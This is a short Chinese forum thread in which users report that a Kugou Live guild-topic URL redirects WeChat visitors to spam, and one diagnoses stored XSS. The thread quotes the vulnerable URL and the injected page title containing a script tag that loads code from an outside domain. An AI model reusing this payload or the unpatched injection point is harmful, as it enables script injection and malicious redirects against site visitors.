酷狗直播接工单啦

[yinbowen]

微信访问这个网址会自动跳转到垃圾链接。

http://fanxing.kugou.com/index.php?action=clanTalk&id=83685&ek=U2FsdGVkX186CtnzU%2FO1N3%2BAw3YVLCIjxKQ9SYDnAtdT9YoFwKnMwRTsnHUopKPmQXAcdtRzc%2FWMZn4sZX6%2FbA%3D%3D&money=19325&from=groupmessage

测试，好像在微信内访问才能进行跳转。

[suixn]

神奇，微信做了啥。。

[Windelight]

很明显是被 XSS 了，浏览器访问，这个网页 Title 是
<script src=//duoxj.com/x></ | 公会话题 | 酷狗直播 | 就是歌手多
然后微信访问可能就出问题了
但是我这直接被 weixin110 给封了，说诱导分享

[yinbowen]

@Windelight 哈哈，够狠的，但是解决不了问题，这个漏洞还在，还可以利用这个漏洞进行跳转。